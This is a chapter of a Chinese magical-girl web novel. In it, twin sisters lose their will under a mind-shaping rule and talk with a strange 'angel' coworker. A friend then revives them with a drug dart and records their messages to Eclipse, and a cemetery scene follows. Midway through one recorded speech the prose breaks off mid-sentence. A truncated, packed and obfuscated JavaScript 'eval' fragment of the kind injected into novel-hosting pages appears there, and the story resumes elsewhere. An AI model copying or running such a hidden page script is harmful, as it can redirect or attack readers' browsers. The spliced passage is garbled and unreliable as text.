“凭什么你们上班可以带着周边啊?”森山寺未央大为震惊,“你以为你们是周边销售商店的结账人员吗就这样明晃晃地把自己的喜好挂在身上,可恶啊日之森不让在书包上挂东西的!” 餐车内的两位工作人员明显就是天使的成员,看个人特征也并不是陌生的,正是库伦。 “我是库伦。”库伦自我介绍道。 “我是库伦。”库伦自我介绍道。 “说真的你们肯定是故意的,绝对是故意的吧,这个自我介绍你们肯定已经准备很久了,就等着这天带着这一身隆重出场之后这样说呢。”森山寺未央笃定地说。 “而且说真的这算不算是在抄袭?”森山寺未雅严重质疑,“拥有精神系魔法的双胞胎这里不是已经有一对了吗?利奥拉真的不是故意这么干的吗?” “不一样的吧?”库伦皱眉否认道。 “不一样的吧!”库伦点了点头。 “你说的到底是你们两个之间不一样还是你们两个和我们两个之间不一样?”森山寺未央质疑道,“要说的话那不是全都一模一样吧!” “要比拼相似度吗?”森山寺未雅警觉了起来,“相似度这一点我是绝对不会让我们输的!” 库伦的眼睛分别是黑色和异常亮眼紫色,两个个体的紫色眼瞳分别在一左一右。 “不一样的啦!”库伦摊手解释说,“哪里都不一样,你我,你们和我。” “你们是双胞胎,我可不是。”库伦郑重地说,“这边并不是双胞胎哦,而是一个人有两个个体。可别搞错了啊我可是独一无二的!” “我之前的脑子连着两具身体,利奥拉给‘咔’的一下分成了两半。”库伦比划着说,“然后另一具身体带着比较烂的那些品味滚了。” “正是如此,库伦只有一个哦。”库伦郑重点头。 “…是连体婴儿啊!”森山寺未央恍然大悟,“你们连自称都是用的‘我’,平时你们到底是要怎样才能被分开啊?” “为什么要分开?我好端端地为什么要被分开?”库伦质疑道。 “你们是那种,一个在想什么,看到了什么,另一个马上就能知道的那种吗?”森山寺未雅询问道。 “我在想什么我当然会知道啊。”库伦理所当然地说。 “恐怖,太恐怖了!”森山寺未雅评价道,“连体婴儿也很恐怖,现在也很恐怖。” 库伦听了这句话之后非常明显地得意了起来,两张一模一样的脸同步着笑了。 “…你们真的没有排练过?”森山寺未央还是不信。 “恐怖是一种气质,我与生俱来。”库伦的笑容更深了,“这位小姐要尝尝特制的冰淇淋吗?收费为您十分之一的灵魂哦。” “材料是今日清晨新鲜采集的人脑和奶油,加上些许砒霜,您绝对不会有所不满的。”库伦笑着介绍唯一的口味。 森山寺姐妹联想到这两人作为天使真的有可能会做出这样的冰淇淋来,一时都感到了毛骨悚然和恶心。 “其实我知道一家新开的抹茶店,去吃芭菲吧。”森山寺未雅提议道。 “走吧走吧,总不会比这家还贵了。”森山寺未央连连点头。 “等一下!”库伦见二人真的要走,赶忙爬上收银台招手,“等一下呀我不收钱,怎么能收同事的钱呢?不过可以收绝版周边游戏卡带成品假发。” “别走呀!”库伦贴到窗户上拍玻璃,“这口味我自己都吃过了真的很好吃的,实在不行你们也能拿冷柜里那些没品的冷冻货吃。总之别走啊利奥拉说了得让你们吃上这家冰淇淋的。” “你们两个非得一人说一句话吗?”森山寺未央回头,“不对,刚才这几句话是不是一个人说的啊?” “不对。”森山寺未雅回头,“那个扔冰淇淋的老人是利奥拉?” “对哦。”森山寺未央在脑袋里把两个形象放在一起,瞬间大感荒谬,“不对吧!” “就是她,那轮椅可是教练给她设计的。”库伦见二人回头,赶紧挖了巨大的冰淇淋球放进纸杯里,“她说你们两个太可怜了,怎么着都得让你们吃上这个。” 那是一个非常普通的冰淇淋球,至少和库伦之前说的那个口味相差甚远。二人接过冰淇淋球之后对视了一眼,还是尝了尝。 “普通的难吃。”森山寺未雅评价说,“这个也是冷冻货吧,我吃到冰碴子了。” “是啦,利奥拉吃的什么你们就吃的什么。”库伦摊了摊手,“不过这可是我挖的,不收你们两个钱也请发自真心地感谢我。” “猜到了。”森山寺未央点头,“利奥拉原来有活那么久啊,而且之前她还完全是个普通人呢,她是怎么成为魔法少女的来着?” “你在套话。”库伦指出重点。 “不能说吗?”森山寺未雅问道。 “也可以吧,事到如今我们之间也不存在秘密了。”库伦点头,“而且在背后讨论同事是工作必不可少的一部分呢。利奥拉是昨天成为魔法少女的,具体细节你问我我也不知道。” 意思是想要知道细节就得去问利奥拉本人了,但森山寺未央和森山寺未雅谁都不想再和那个人面对面沟通了,她们已经发自心底地认同了她的理念。 “你们年纪轻轻就上了很多班的样子啊。”森山寺未雅说。 “我也是见过人类上班的样子的,我不认为我们在做一样的事情。”库伦摇头,“利奥拉说我们是同事,她不仅仅是指我们都在一个部门工作,也是说我们在一起做同一件事。” “杀人吗?”森山寺未央不满地问,“你们也不把普通人当人看,把杀人视作为工作当然和普通人上班不一样啦。” “我们也并不是全都在杀人的吧。”库伦想了想,“杀人的话,主要是格雷伊,拉德,仑目和西弗尔特负责,她们也分别负责不同的情况,比如格雷伊更偏向于处理非白夜社事务,西弗尔特经常出差,所以后来教练就把我们个人的训练项目分开了。” “目标都是杀人,没什么区别吧。”森山寺未雅并不觉得有区别,“不过是主犯和帮凶的区别而已。” “那确实没有。”库伦说,又问,“你们很在意这个事实啊。为何?” “当然会在意的吧!”森山寺未央感到荒谬,“这可是杀人行为,你们不觉得愧疚不过是因为你们在这个环境里长大没有培养道德观而已。” “可是。”库伦皱眉问,“可是利奥拉不是会把时间回溯到过去吗?那些人大部分其实也会复活的,在这种情况下你们还是很在意吗?” “那个时候人类就不再会有主要话语权了吧,利奥拉不会允许的。”森山寺未雅笃定地说,“而且你们那时若是还接到任务,就还是会再杀死那些人的。” “那倒也确实如此。”库伦想了想之后说,“我还是无法理解你们为何这么在意普通人的权利,你们和我们才是同类才对吧?” 森山寺未央和森山寺未雅无法否认,她们同意这个想法。 “在你们看来,这和游戏没什么区别吧。”森山寺未雅有些无力,“时间回溯就是回档,杀人和杀怪差不多。” “你要这样理解也可以,不过我还是得强调,我的职责并不是杀人哦,不要搞错了。”库伦说道,“搞错了职责的话定责很麻烦的。” “我和伦琴是负责定位和信息处理的,不过伦琴她没办法一个人出任务,所以她的任务就只是帮CEO看报告记日程什么的。”库伦说。 “她工资很低,但我看到她有好多很贵的东西。”库伦不满地说,“那把小提琴是她的,我之前看的了!” “肯定又是CEO送的吧。”库伦冷笑一声,“要是让西弗尔特知道她就完蛋了。” “冰淇淋再给我一份。”森山寺未央说,“应该还有吧,那位叫贝克勒尔的是干啥的来着?” “请用。”库伦挖了个更大的给她,“她和居里是处理一些特殊任务的,居里能无视距离命中目标,她很讨厌出门来着。贝克勒尔她说自己是负责情报工作的,但这哪里轮得到她干,她就是喜欢浑水摸鱼。” “情报处理是教练在做啦,以后你们就会知道她有多吓人了。”库伦撇了撇嘴。 “已经知道了。”森山寺未雅冷笑一声,“也不想知道得更清楚了。” “你们的代号都是利奥拉取的吗?还有这身制服。”森山寺未央问道。 “是啦。”库伦不满地说,“你们就好啦,还能变身呢,校服也有好多种可以选。” “她为什么这么喜欢这种统一化的风格?”森山寺未雅感到疑惑,“是方便管理吗?” “利奥拉说,在这样的情况下还能体现个性,那才珍贵。”库伦模仿利奥拉的口吻,“话是这样说的,她本人却完全不穿这一身呢。” “她自视为神,是你们的管理者,当然不会和你们站在一起。”森山寺未雅说着皱起了眉,“但她又说所有人都是平等的,为什么呢?” “难道她之后也会穿上这一身吗?”森山寺未央想了想,又说,“难道我们也得穿?” “反正谁都没见她穿过,而且她在公司也没有职位,但她说话谁都听。”库伦撑着脑袋说,“虽然她没有下令过什么,但也没有人会违抗她的。” “为什么?”森山寺未央不解。 “为什么要这么做?”库伦也不解,“如果我们谁去说,利奥拉你也穿这身丑丑的制服吧,那她就会穿上,你们也是能理解的吧?” “你们默认这一点。”森山寺未雅思索着,“她默认所有人都不会违抗她,因为她知道你们都会发自真心地理解她。而你们也默认利奥拉会与你们毫无保留地平等沟通,共享一切,而她也确实这样做了。” 因为“不”不被允许,所以她们只讨论“是”的范围有多大。 “那不就像你们一样了?”森山寺未央意识到了什么,“以后每个人都变成库伦了!” “…那还挺糟的。”库伦说,“我还是只有一个比较好。” “是啊,其它相似的存在可不是我。”库伦点头说。 “如果,我是说如果,如果有这之中的人准备违抗利奥拉呢?”森山寺未雅小心地问,“比如说,你们拒绝说出自己的某个事实,或者拒绝她的意见。” 库伦对视了一眼。 “不可能的。”库伦笃定地说,“为什么要那样做?” “想象都想象不出来那样的场景。”库伦说,“你们难道能想象出来吗?” 森山寺未央和森山寺未雅都做不到。 “规则刻在血管里的话,那确实是连钻空子的想法都想象不出来了呢。”森山寺未雅笑不出来,“现在那些东西就好像普通人对魔法的看法一样,期待又心知肚明不存在。” “可是之前,你们听命的对象是那位CEO吧,那个时候你们也没有人反抗过吗?”森山寺未央好奇地问道。 “那我就不知道了。”库伦摊手,“不难看出来吧,我入职时间不长。” “你们几岁?”森山寺未雅问道,“实际年龄,你们看上去都没成年,实际年龄肯定更低。” “确实如此,我12,年龄最大的是居里吧,大家都说她一直都在。”库伦说。 森山寺未央和森山寺未雅沉默了下来,她们对视一眼,没有说什么。 “你们对视是在做什么呢?”库伦好奇问道,“我只是在确认自己的表情,你们好像不太一样吧。” “其实也差不多。”森山寺未雅扯了扯嘴角,“确认心情吧。” 二人没有再准备继续与库伦聊下去了,她们往家的方向慢慢走去,沉默着,熟悉的街道在二人低下头只看地面时也不过是几块重复的砖石而已,无法提供回家路上的期待感。 “我们,很快就会变成她们那样吧。”森山寺未央说道。 “嗯。”森山寺未雅承认。 “…我甚至不抗拒,明明之前还在拼命想办法来着,现在连那样拼命的原因都不认可了。”森山寺未央说着,笑了起来,“原因是什么来着?” “是我有很坏的预感。”森山寺未雅说。 “现在呢?”森山寺未央问。 “感觉不害怕了。”森山寺未雅说。 “这能算是happy end吗?”森山寺未央质疑道。 “…我现在觉得是。”森山寺未雅说。 二人站在家门口,面面相觑,她们现在甚至不觉得这里是她们真正的家了。 “…还要进去吗?”森山寺未央沉默了许久之后问道。 “…我觉得,没有必要。”森山寺未雅沉默了许久之后,缓慢地开口。 但是,门打开了。 “未央,未雅?”森山寺镜开口问道,“站在门口干什么?你们早上什么时候出去的。” 森山寺姐妹二人对视一眼,都没有开口说话。 “愣着干什么?又闯祸了不敢说?”森山寺波从后面探出头来,“先进来吧,有同学在的情况下我们不会骂你们的。” “同学?”森山寺未央一愣,意识到了什么,“羽生吗?” “是有乐同学,赶紧进来吧,让她一个人待着可不好。”森山寺镜笑着说。 于是二人面面相觑,最后,还是走进了那扇门。 一切都很熟悉,玄关,客厅,沙发,那幅木桩画,一切都和二人记忆中是一模一样的,但偏偏就是少了些什么,或者说是脑袋里多了些什么,微妙的偏差值仿佛将二人带去了平行时空中相似但截然不同的第二个家,陌生得令她们感到想要退缩。 “…你们,很不对劲。”森山寺镜看向她们二人,看向自己的孩子,“你们在外面经历了什么?不能和我们说吗?” 二人哑口无言,并不是不能说,而是她们发自心底地感到没必要。要怎么解释呢?要从哪里开始解释呢?要怎么使用语言才能绕开那个甚至不被她们视作为规则的规则,要怎么才能透过有必要的词句去诉说发生了什么呢? 她们甚至连“爸爸妈妈”都叫不出口了。 “我们,在犯下了什么样的错误之后,你们会丢下我们呢?”森山寺未央曾经好奇过这个问题,但一直觉得问了会被骂,但现在的话被骂也没关系,因为她们不在乎了,所以好奇心占据上风。 “…什么?”森山寺镜一愣,她看向森山寺未央,顿了顿,还是回答道,“只要你们还是我们的孩子,我们就不可能丢下你们。” “判断依据是什么呢?”森山寺未雅问道,“外表?内心?想法?” “灵魂,如何?”森山寺镜回答道。 “你不是科研人员吗?这个东西真的存在吗?”森山寺未央好奇地问。 “我没办法向你们证明灵魂的存在,这个还挺唯心的吧?”森山寺镜看向森山寺波。 “这个是需要的时候才会拿出来说的东西。”森山寺波点头,“画面的灵魂,诗词的灵魂,大多数情况下都不是能直接用语言来形容的。” “那,不说,不看,不听,不闻,不触碰,什么都不做的话,灵魂该如何被找到呢?”森山寺未雅问,“灵魂真的存在吗?真的可以存在吗?” “灵魂是用来做什么的呢?只是用来辨别出谁是谁的话,那不需要这么奇怪的东西吧?”森山寺未央问。 森山寺镜和森山寺波再次对视了一眼,这实在是太突然,太奇怪的问题了。但作为父母,既然孩子有问题,她们就该解答,哪怕是以自己的主观答案。 “我是如何通过灵魂去找出你们的,你们是想问这个对吗?”森山寺镜问道。 二人微微地点头。 “对我来说,当你们想和我说话,想看到我,想听我说话,想闻到我的气息,想触碰到我时,我就能感受到,你们的灵魂存在于那里。”森山寺镜回答。 “对我来说,灵魂是在以另一种方式诉说着什么的语言。”森山寺波回答。 二人意识到,所以如果她们拒绝做出每一种行动,甚至发自真心地认可自己的作为时,她们的灵魂就再也无法被察觉到,被找到了。 “那会是happy end吗?”森山寺未雅问道,“那之后,我还会存在吗?” “我不知道。”森山寺未央说。 “发生了什么事?”森山寺镜担心地问,“到底发生了什么?你们昨天在外面遇到了什么吗?” “什么都可以和我们说,什么都可以哦。”森山寺波也非常担心。 二人看上去没有受伤,但她们却觉得,自己的孩子在求助。 “好吧。”森山寺镜抱住了二人,“那么我向你们保证,如果你们的灵魂消失了,那我就会想办法去找,然后如果你们能因此察觉到我的话,那只要你们愿意,你们随时都能回来。” “在那个时候,我会做一个很大的蛋糕来庆祝的。”森山寺波说道。 二人甚至无法感受到怀抱的温暖了。 “你们的朋友在楼上等着了,去找她吧。”森山寺镜放开了二人。 有乐羽生在森山寺未雅的房间找回了自己的手机,电量还足够,她打开,并没有任何未接来电或消息记录。 房间门被打开了,有乐羽生回头,看见了她正等待的森山寺姐妹。 “羽生,你是在等我们吗?”森山寺未央有些意外。 “是的。”有乐羽生点头。 “我们,刚才其实在想,我们没有必要进来的。”森山寺未央笑了笑,“很奇怪吧?我刚才回到自己房间里甚至在想这个地方怎么这么乱,但我分明记得那些东西都是我自己到处乱扔的。” “我也觉得,这个房间并非是我的,房间。”森山寺未雅说着,闭了闭眼,“我还记得我们不久前才在这里度过了很开心的夜晚,但现在我觉得那微不足道,我们不应该继续待在这里了。” “我正是为了这个问题来找你们的。”有乐羽生看向二人,“我不认为你们这样是好的,因为我知道,这里是你们非常喜欢,非常自豪的家。” “你打算怎么做?”森山寺未央问道,没有回应有乐羽生的说法。 “收集大家的证言,道德绑架艾克里普让她回心转意。”有乐羽生给枪上膛,“那么,你们两个谁先来?” “为什么突然变成了这种风格的对抗模式了?”森山寺未央大惊,“可恶啊你这样也太帅气了吧搞得我们两个好像反派一样。” “你们现在的心境就是在和利奥拉同流合污哦。”有乐羽生微笑着说。 “艾克里普记起来了对吗?那些发生的事情。”森山寺未雅意识到了这一点,“那她能理解利奥拉的反人类想法我倒是也不难理解。” “你这不就是在间接地说我们的思想也在反人类吗?”森山寺未央不甘心地说,“可恶啊我觉得利奥拉的想法也还好吧而且虽然她是个烂人但是她人还挺好的呢!” “你要不要自己听听你自己在说什么?”森山寺未雅笑了笑,说道,“我先来吧。” “为什么?”森山寺未央觉得很奇怪,她不理解为什么对方会接受这个做法。 “因为我觉得这很危险。”森山寺未雅说,“你去你自己房间里干着急去吧。” 于是,森山寺未央被赶出了森山寺未雅的房间,她看向另一边的房间的门,一时不知道自己该不该进去。去想想办法好了,她这样想着,抬起脚走向那里。 “我会给你注射药物,在那之后,我会录下你想对艾克里普说的话。”有乐羽生说着,举枪对准了森山寺未雅,“晓说这个还挺难受的,准备好了吗?” “没有。”森山寺未雅说着,被针管没入了颈动脉。 她感到自己被往后方拽去,她抬起手想保持平衡,却发现自己还在原地,那些本暗藏在内心深处默认的想法被逐一标红,暗示着其不合理性,这种大梦初醒的感觉对她来说并非第一次,但无论哪一次感受都不能算是好的。 “清醒的时候原来是这种感觉啊。”森山寺未雅感慨着,在自己床边靠着坐下了,“睡着的时候一点感觉都没有,被吵醒的一瞬间吓人得要命。” “有共情到曾经的自己吗?”有乐羽生问候道。 “没,不过倒是共情到了其它人,比如那些天使,比如那些白夜社内的知情人士。”森山寺未雅说,“以及艾洛蒂。” “那是谁?”有乐羽生不认识这个名字。 “格雷伊的名字,博蒙给她取的。”森山寺未雅看着有乐羽生说,“意为,无法被夺走的力量。” 有乐羽生意识到了,森山寺未雅对二人的关系与她秉持相同的看法,她相信着二人之间的联系,那么现在,她也应该相信着艾克里普,就和自己一样。 但她们都清楚,艾克里普的意念并非是一夜之间转换的,根植与血脉相连中的基因与千年来搓磨而成的山脉哪个更坚固一些?这个问题中的答案无论哪边都足够让她们感到绝望了。 “…只是单方面的话,真的会起效吗?”有乐羽生犹豫地问,她知道自己不该犹豫,也知道只有自己不能犹豫,但她却还是担心这一意孤行最终会落得个无用的下场。 “同时拿着枪和照相机就不要说出担心节目效果这种话来了,违法战地记者?”森山寺未雅笑着说,“如果不相信自己,也不相信艾克里普的话,那就相信我们吧,相信给你枪和照相机的人,这样你会更有信心一点吗?” 有乐羽生忍不住笑了,“那艾洛蒂,她是怎么做的呢?” “趁着博蒙不在场把她批评了一顿,然后,做了她该做的事情。”森山寺未雅说,“她从来没有被任何一边的规则束缚过,也从来没有倒向过任何一边,她获得了真正的自由。” 有乐羽生想起了那个有些懦弱的身影,以及那个彼此有所隔阂却又能笑着洽谈的夜晚,她意识到那个人之所以是那副模样,是因为她自己选择了一条最为辛苦的道路,这条路她一个人走到了最后。 “这是她的happy end吗?”森山寺未雅问有乐羽生。 “她主动追寻,主动索取,主动承受,最后,获得了她想要的,那么我想,这就是她在这个世界上能获得的最好的结局了。”有乐羽生说。 “可你并没有在赞同我说的话,也没有在为她感到开心。”森山寺未雅说,“你的痛苦,怜悯和悲伤我都摸到了。” “未雅,那不重要。”有乐羽生微笑着说。 森山寺未雅一顿,随后,她说,“我知道我要对艾克里普说些什么了。” “对你来说我们都是好久不见了吧,艾克里普。上一次我们实际见面是在周一,但现在是周日,我明明没能理解时间回溯魔法却还是记得那时发生的事情。我记得你说了对自我存在意义产生疑惑的话,非常抱歉让你那样想,如果你有心脏和胃部的话,那个时候这两个部位一定很痛吧,抱歉。 而在你的存在意义是什么这方面上我是没办法说明太多的,你拥有远比我们漫长的生命和回忆,那其中的一小部分,那石杖有告诉我一点。你还记得那场大火吗?那对现在的你来说毫无疑问是会令你感到痛苦的回忆吧,但你一定还是记得的。 所以,我想问问你,是否还记得那场大火中的我的存在。石杖有告诉你我的存在吗?拜托了,这对我而言真的是非常重要的问题,它涉及到,我的存在是否有意义。我非常需要这个答案,我知道你明白的。 而这个答案对于你而言或许也是有意义的,艾克里普,因为这个问题涉及到一个关乎你自身的问题,也就是,过去的你是否拥有过灵魂。 若是拥有,那现在的你是谁?若是没有,现在的你是从何而来的?其中的基础条件和细节你比我更加清楚,我不作赘述。 最后,我讨厌那种在梦里醒不过来的感觉,所以,我绝对不想被利奥拉的规则限制住,那样的话我宁愿去死。但后来我或许就不会这样想了,那么,后来的我便不再是我。 若是你认为那样的我也是你的朋友的话,就把前面的所有话都忘了吧,因为那对你而言就毫无用处了,只会让你徒增烦恼而已。你就尽情享受没有意义,不需要回忆痛苦的过去,不需要我们对你留下的任何的话语的,漫长的人生吧。” 影像记录完毕。 “你要去找未央了吗?”森山寺未雅靠在床边,感受着困倦,“她一定怕的要命吧,因为在清醒的时候想起之前的自己真是有够恐怖的。” “未雅,要去陪着她吗?”有乐羽生问道。 “我没办法一直保护她的。”森山寺未雅摇了摇头,“她要哭就哭,要闹就闹吧,趁还有机会,让她的脑子多动动也挺好。现在,把你的手机给我。” “记者要被调查记者证了吗?”有乐羽生问,递出了自己的手机。 “事后才这么做有点太晚了吧?”森山寺未雅笑了笑,“状态维持魔法是相对的,理解了之后逆向操作并不难。” 有乐羽生看见自己的手机恢复了信号。 “虽然我完全不理解但是,谢谢。”有乐羽生感谢道。 “我能理解就足够了。”森山寺未雅说。 有乐羽生看着森山寺未雅的眼睛一点点闭上,随后再睁开,不禁感受到了朋友在自己眼前离开的悲伤。 她没说什么,只是点了点头,前往了隔壁的房间。 “果然还是轮到我了吗!”森山寺未央被开门的动静吓了一跳。 “没错!放弃挣扎举起手来吧!”有乐羽生掏枪瞄准了森山寺未央。 “我,我准备好了!”森山寺未央真的举起手来了。 “未雅还说你会害怕呢,这不是挺勇敢的嘛。”有乐羽生有些意外。 “是‘之后应该会感觉到害怕’所以提前开始害怕了,这种感觉。”森山寺未央好奇地说,“未雅是怎么知道我会害怕的呢?” “我不知道,她说,你得多动动脑子。”有乐羽生说着便开了枪,针头没入森山寺未央的颈动脉迅速奏效。 药物效果如一把潜入深海中的巨大钩爪,一把将被水压死死浸在海底的森山寺未央捞起,无视任何可能会使她耳膜破裂或粉身碎骨的重力强行将她提出了水面,于是她终于得以自由地呼吸,这才想起自己其实是需要呼吸的。 在那之后,因为那之前产生的剧烈痛楚,森山寺未央开始流泪。 “我,我为什么会那样想呢?”森山寺未央扶住了脑袋,“我怎么可以那样想呢?我怎么可以,我怎么会变成那样的一个人呢?” 有乐羽生没有说话,只是静静地看着她,她的悲伤根本毫无遮掩。 “这里就是我家呀?我怎么会觉得这里不是呢?我怎么会觉得不想回来呢?”森山寺未央喃喃自语道,“之后,我之后还会变成之前那样吗?我有可能再也回不来吗?我有可能再也没办法看到爸爸妈妈,这甚至是我自愿的吗?” 有乐羽生知道,森山寺未央已经自己知道了答案。 “怎么办,怎么办啊?”森山寺未央抱着头蜷缩在了地板上,“这个才是真的完蛋了吧?真的没有办法了吗?明明之前才下定决心那样做了,结果还是没用,这样一来真的就没有其它办法了吗?想想,我再想想。” “加油,未央。”有乐羽生鼓励道,“你点子最多了,加油啊!” “有什么办法让我们不要变成之前那样,有什么办法让利奥拉放过我们,有什么办法让艾克里普不要认同利奥拉的想法?”森山寺未央把头往床里面摁,“我不要和爸爸妈妈分开,我不要成为那种人,救命啊!” “就这样说吧?就这样告诉艾克里普吧?”有乐羽生说,“艾克里普一定会感受到未央的痛苦的,这样的话,她就一定能再想想。” “可,可是这样对艾克里普来说并不公平吧。”森山寺未央擦了擦眼泪,“只让她理解我,我却没办法理解她的痛苦的话,她总有一天会对我失望,然后离开的。” 有乐羽生顿了顿,她回想起了自己之前的行为,意识到,自己确实也没能理解艾克里普悲伤流泪的原因,那或许不仅仅是因为她对朋友的离去而感到惋惜。 “艾克里普她其实是非常悲伤的,我看见她流泪了,她一边说着这样就好一边流泪,所以我很生气,就和她分开了。”有乐羽生说,“我也用话语伤害到她了吧。” “为什么羽生看见她流泪会感到生气呢?”森山寺未央不理解,“你生气的原因是什么呢?” 有乐羽生愣了愣,她这才想起来,自己并没有意识到这一点。为什么呢?有乐羽生心想,为什么她看见艾克里普流泪时感到生气呢?若是只是因为艾克里普对朋友离去的不作为的话,那她为何没有感到心灰意冷呢? “啊!”有乐羽生意识到了重点,“我,应该是觉得艾克里普她若是没有做应该做的事情,那她表现出来的神情应该是懊悔的,因为我认为若是她发自真心地认同自己的做法,那她绝不该流泪。所以我生气,我生气她没有阻止利奥拉带走你们,也生气她对着我流泪。我是希望她能做些什么的,不对,我默认她就应该做些什么,但她没有,这也是我生气的原因。” “这么复杂呀。”森山寺未央感觉头有些疼,“我不太理解,但我想,你应该把自己的想法告诉艾克里普才对,不仅仅是因为劝她些什么,也是因为这是一场误会。她可能会因为你的生气误会些什么,后面可能就没有能解释误会的机会了。” 说完,森山寺未央又流下了眼泪。 “没错,未央。”有乐羽生点了点头,“那你呢,你想对艾克里普说什么吗?” “只是一段话的话,真的能传达到什么吗?”森山寺未央有些犹豫,“我自己有时候都不知道我自己在说什么,我说什么真的有用吗?” “我不知道,但是我想,无论你说什么,艾克里普都会听的。”有乐羽生说。 “…好!”森山寺未央再次擦了擦眼泪,站了起来。 “艾克里普,你好,也不能说是好久不见了,但是录像带的话,这样说应该也没关系吧,你以后还会把这个拿出来看吗?”森山寺未央显得非常紧张,“我想说一些我发自真心想对你说的话,无论你多久以后拿出来看都是这样,无论那时的我变成什么样子了,现在这个我对你说的话才是我真心想说的,真心,真心哦! 我在我们上次见面的时候,也就是,明天?打电话叫你来救我们,但你赶到的时候一定发现了吧,我们其实是想让你过来好对你做另一件事,这样说好奇怪啊。但是说真的,那也是我们想让你来救救我们,但并不是从五十个机械狗和那个白头发战斗狂的手里,而是从利奥拉的手里。这是我的点子,我想着,如果还有什么事是我能做的话,那就只有这么一件事了,我们将希望寄托在了你的身上。但我们事先没有告诉你,也用另一个说法让你过来,真的抱歉,让你对自己是否有帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我还能去找谁呢?”有乐羽生看向手里的相机,以及枪支弹夹,那里面还有一发弹药,是克拉拉给她准备的,不知道会不会有用上的时候。 “我也不知道她还有什么在意的人了,她活的太久,在意的人都死了吧。”森山寺未央想了想说,“最后去城市公共墓地看看吧,万一利奥拉乐意让死者也复活参加派对呢?” “哈哈哈,她哪有这么好心啦。”有乐羽生笑了,随后,笑容停顿了下来,“我会去看看的,未央,我出发了。” “…希望我们可以明天见。”森山寺未央发自真心地期盼着。 城市公共墓地的位置在中心绿地公园靠近东南的部分,与灾后支援的医疗人员搭起来的帐篷们隔得不远。城市内的公墓并非仅此一处,但这里是最大的,也是最吵闹的。 草地上此起彼伏地落着形象各异的墓碑,死人躺在下面,或者不知去向。 今天是个喜庆的好日子,虽然本不该如此,但现在也没什么人顾得上或者想要哀悼谁了,城市公共墓地非常空旷,只有那些未尽之言与树木一起无声吵闹。 在那象征未找到遗体也未找到生者的无字碑之下,贝克勒尔站在那里,沉默的,不动的。她应该是站了很久了,她脚下的靴子已经略微陷入了泥土中,她没有动。 “您是在哀悼谁?”有乐羽生问道。 “…哦,你啊。”贝克勒尔没有抬头,她任凭风刮起她鲜艳的头发,“别管我了,就当我在浑水摸鱼,去享受庆典好了。” 有乐羽生看着与庆典格格不入的人,感受到了她无言之下的悲伤。她转头,也看向了无字碑,这座墓碑没有任何墓志铭,有人还期待那些没能找到遗体的人回来,可能性还存在,那么就没有谁能在这座墓碑上写下决定死者生前品质的话。 “那些建筑的残骸飘起来之后,很多尸体躺在下面吧。”有乐羽生说,“尤其是老城区那,我之前见过那些狭窄的巷子,猜测过那些门后面是什么,答案其实很简单的,那后面是人。” 贝克勒尔没有说话,但有乐羽生知道,她在听。 “以往,那些人会被你们带去血湖里吧,现在她们无处可去了。”有乐羽生说着,叹了口气,“你会觉得这无所谓吗?” “…你在生气?”贝克勒尔嗤笑一声,“生气吧,以后你就没办法生气了。” “因为利奥拉的国度,没有谁可以藏住心里的事,对吗?”有乐羽生问,“那很恶心,我不想去那里。” “确实。”贝克勒尔肯定道,有乐羽生讶异地看向她,她依旧没有抬头,“别这么惊讶,潜意识这种东西没那么难骗过去,毕竟利奥拉没有禁止我们对外人说谎。” “那么,用谎言来告诉我,你在悲伤,在不满什么吧。”有乐羽生问道。 “我没有不满,也没有悲伤,我不会这样想,这是真话。”贝克勒尔抬了头,她在流泪,四个颜色的眼珠下方,无色的泪水流淌,“我发自真心地相信利奥拉说的话,也期待她许诺的未来,绝对相信她能带给我我想要的东西。” 有乐羽生看着贝克勒尔,知道她所说的是必然的。 “但是,她死掉了。”贝克勒尔说,“她死掉了,那个小孩才不是她呢。” 有乐羽生意识到,这是她用来欺骗自己的谎言,贝克勒尔发自真心地认同利奥拉所说的论点,但她欺骗自己说不认可,有乐羽生不理解这个程度上的自我欺骗对于现在的她们来说是什么程度的盲目,但贝克勒尔在流泪,泪水或许是会模糊视线的吧。 “为什么?”有乐羽生想知道对方做到这个地步是为了什么。 “因为我能理解她,所以,我必须在这里对她说,恭喜你。”贝克勒尔看着无字碑说,“我相信你会回来,然后继续被利奥拉搓磨吧,或许那时你也能理解她,变得不需要再讨厌我们了。所以,恭喜你。” 有乐羽生看向了手里的枪,她想,最后的弹药或许是有了可以攻击的对象了。 “我不理解利奥拉,但我觉得,我能理解你的部分。”有乐羽生举起了枪,“对你来说这个药物是致死量,但是,你似乎并不享受这个庆典。” “我当然享受庆典,但是,我也不想继续待在这里了。”贝克勒尔举起了双手,“那么,救救我吧,魔法少女。” 子弹射出,针头没入贝克勒尔的颈动脉。 这药物对于天使是没什么作用的,对她们来说,利奥拉的规则并非限制,而是生长环境,她们天生就从那里站起,不存在割裂感。 贝克勒尔倒下了,她毫不在乎草地上的泥土和露水,仰面朝天倒下了。 “看着天空,原来是会感到期待的吗?”贝克勒尔喃喃自语,“她也是这样想的吗?” 有乐羽生没说什么,只是也看向了天空,晴空万里,那是她最喜欢的蓝色。 “那位小姐,过来一下!”贝克勒尔转头呼唤道,“这里这里。” “我吗?”有乐羽生有些意外,但还是走了过去。 “拜托蹲下来,我有话要说哦!”贝克勒尔笑着说。 有乐羽生蹲了下来,贝克勒尔也张开了嘴,随后,将有乐羽生吞了下去。这是空间魔法,有乐羽生一时没能反应过来,但当她意识到自己已经不在原来的位置时,温暖,黑暗,潮湿的世界已经包裹了她。 这里是血湖,有乐羽生想起了这个氛围,她并没有太过慌乱,因为她自己随时都可以使用空间魔法离开这里,但贝克勒尔那样做一定是有着什么理由的。 不远处,一栋二层小屋漂浮在发黑无波的红色湖面上,有乐羽生一愣,意识到那牌子上写的文字正是:夜藤事务所,那是艾克里普消失不见的事务所,但因为外表的防护魔法,它没有被血湖分解消化的迹象。 有乐羽生飞向了事务所的门口,血湖没能接触到的门牌被她轻轻地触碰到了,随后,她摸上门把手,也很轻易地拉开了门。 门开了,翠绿藤蔓卷曲向外,替不在这里的主人迎客,灯自动亮起,有乐羽生看到了那张大桌,她们在这里谈论过一些关于过去的未来。 安静的事务所还在等它的主人回来找它。 有乐羽生找到了上行到二楼的入口,她顿了顿,随后向上走去。 